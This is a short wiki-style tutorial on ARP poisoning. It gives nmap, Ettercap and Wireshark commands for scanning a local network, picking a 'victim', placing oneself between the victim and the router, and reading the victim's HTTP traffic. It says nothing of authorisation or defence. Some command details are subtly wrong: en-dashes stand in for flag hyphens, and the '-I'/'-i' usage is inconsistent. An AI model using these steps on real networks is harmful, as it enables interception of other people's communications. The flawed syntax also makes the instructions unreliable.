# ARP Poisoning

### ARP Poisoning

With ARP Poisoning you are able to be the **Man in the middle** and with that you can catch the network traffic from a specific device. ARP is used to discover devices in a network and say them which IP has the router.

<span class="wikiexternallink">[https://www.ettercap-project.org/](https://www.ettercap-project.org/)</span> | <span class="wikiexternallink">[https://www.youtube.com/watch?v=-rSqbgI7oZM](https://www.youtube.com/watch?v=-rSqbgI7oZM)</span>

To install Ettercap:

`<span class="monospace"><strong>sudo apt install ettercap-text-only</strong></span>`

Ettercap, Wireshark and <span class="wikiinternallink">[NMAP](http://192.168.1.220:8080/xwiki/bin/view/Types%20of%20attacks/ARP%20Poisoning/#_NMAP)</span> are very good tools to perform this request.

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</div>### Perform attack

1. Find your target with NMAP 
    1. **sudo nmap –sn &lt;xxx.xxx.xxx.xxx/xx&gt;** (network with subnet)
    2. In the results you see every IP with their MAC address
    3. Extract the IP of your victim
2. Perform the ARP Poisoning as following

`<span class="monospace"><strong>sudo ettercap –T –S –I <interface> -M arp:remote /ip.of.rou.ter// /ip.of.vic.tim//</strong></span>`

<table id="bkmrk-parameter-explanatio"><tbody><tr><td>**Parameter**</td><td>**Explanation**</td></tr><tr><td>-T</td><td>For text only -&gt; no graphics</td></tr><tr><td>-S</td><td>Not use SSL</td></tr><tr><td>-i</td><td>Specify interface</td></tr><tr><td>-M</td><td>For Man in the Middle</td></tr></tbody></table>

After hitting enter you will see the traffic between router and victim. To see it in a proper way we continue with wireshark.

Open Wireshark and filter for the victims IP

`Filter: <strong>ip.addr == <ip.of.vic.tim> && http</strong> (to filter only http traffic)`

And now you see only traffic from this IP address

But remind that you don’t see secure traffic.

To visual analyze the traffic save the file to a **.pcap** or a **.pcapng** and upload it to <span class="wikiexternallink">[https://apackets.com/upload](https://apackets.com/upload)</span> there you see it very detailed.